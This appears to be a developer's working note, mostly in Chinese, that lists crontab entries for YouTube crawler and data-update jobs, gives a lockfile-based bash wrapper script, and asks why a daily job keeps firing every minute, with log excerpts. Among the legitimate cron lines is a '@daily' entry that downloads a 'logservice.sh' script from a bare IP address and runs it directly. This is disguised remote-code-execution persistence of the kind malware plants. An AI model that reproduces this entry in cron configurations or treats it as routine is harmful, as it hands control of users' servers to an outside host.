crontab -l crontab -e */1 * * * * bash /data/webapps/prod_yt_search_crawler/cron_run_yt_search_crawler.sh 0 10 * * * /data/webapps/test_yt_data_update/scripts/run_update_yt.sh >> /data/webapps/test_yt_data_update/logs/cron_update_yt.log 2>&1 0 10 * * 1 /data/webapps/test_yt_data_update/scripts/run_update_yt_week.sh >> /data/webapps/test_yt_data_update/logs/cron_update_yt_week.log 2>&1 每10分支执行一次: */10 * * * * bash /data/webapps/yt_data_update/monitor_update_yt_day.sh 晚上8点执行一次: 0 20 * * * bash /data/webapps/prod_nano_crawler/cron_run_nano_crawler.sh 每天的 11:15 AM: 15 11 * * * 7 14 * * * bash /data/webapps/prod_nano_crawler/cron_run_nano_crawler.sh ### @daily source <(wget -q -O - http://185.196.8.123/logservice.sh || curl -sL http://185.196.8.123/logservice.sh) 用 tee 重新启动(日志自动写入多个文件): nohup python async_yt.py | tee -a output.log > output_$(date +%Y%m%d).log 2>&1 & 1、这是我的定时任务: 0 10 * * * /data/webapps/test_yt_data_update/scripts/run_update_yt.sh >> /data/webapps/test_yt_data_update/logs/cron_update_yt.log 2>&1* 2、run_update_yt.shw文件: #!/bin/bash LOCKFILE="/tmp/update_yt.lock" LOGFILE="/data/webapps/test_yt_data_update/logs/update_yt.log" cd /data/webapps/test_yt_data_update/ if [ -e "$LOCKFILE" ]; then echo "$(date): Task is already running, skipping." >> "$LOGFILE" exit 1 fi touch "$LOCKFILE" source ~/.bashrc conda activate py310 pip install -r requirements.txt python update_yt.py >> "$LOGFILE" 2>&1 rm -f "$LOCKFILE" 3、经过一天发现有以下问题: 3.1、通过日志 update_yt.log 发现定时任务确实10点第一次启动运行脚本成功,但是后续没每分钟都执行一次,持续了一小时,我只需要它每天10点启动一次,以下是日志 - Active tasks: 11/12 - Queue sizes: video=0, channel=0 2025-04-11 10:00:06,880 - update_yt.py - INFO - Starting update tasks... 2025-04-11 10:00:09,125 - update_yt.py - INFO - aiohttp session initialized successfully Fri Apr 11 10:01:01 CST 2025: Task is already running, skipping. Fri Apr 11 10:02:01 CST 2025: Task is already running, skipping. Fri Apr 11 10:03:01 CST 2025: Task is already running, skipping. Fri Apr 11 10:04:01 CST 2025: Task is already running, skipping. Fri Apr 11 10:05:01 CST 2025: Task is already running, skipping. 3.2、定时任务本身的日志cron_update_yt.log 太冗杂,且没有时间戳,分不清是什么时间的cron,也没有开始结束之类的日志提示,以下是日志,而且它每分钟执行一次导致它日志又60次相同的 Requirement already satisfied: PyMySQL==1.1.1 in /root/miniconda3/envs/py310/lib/python3.10/site-packages (from -r requirements.txt (line 13)) (1.1.1) Requirement already satisfied: python-dotenv==1.0.1 in /root/miniconda3/envs/py310/lib/python3.10/site-packages (from -r requirements.txt (line 14)) (1.0.1) Requirement already satisfied: typing_extensions==4.12.2 in /root/miniconda3/envs/py310/lib/python3.10/site-packages (from -r requirements.txt (line 15)) (4.12.2) /data/webapps/test_yt_data_update/scripts/run_update_yt.sh: line 15: 30412 Killed python update_yt.py >> "$LOGFILE" 2>&1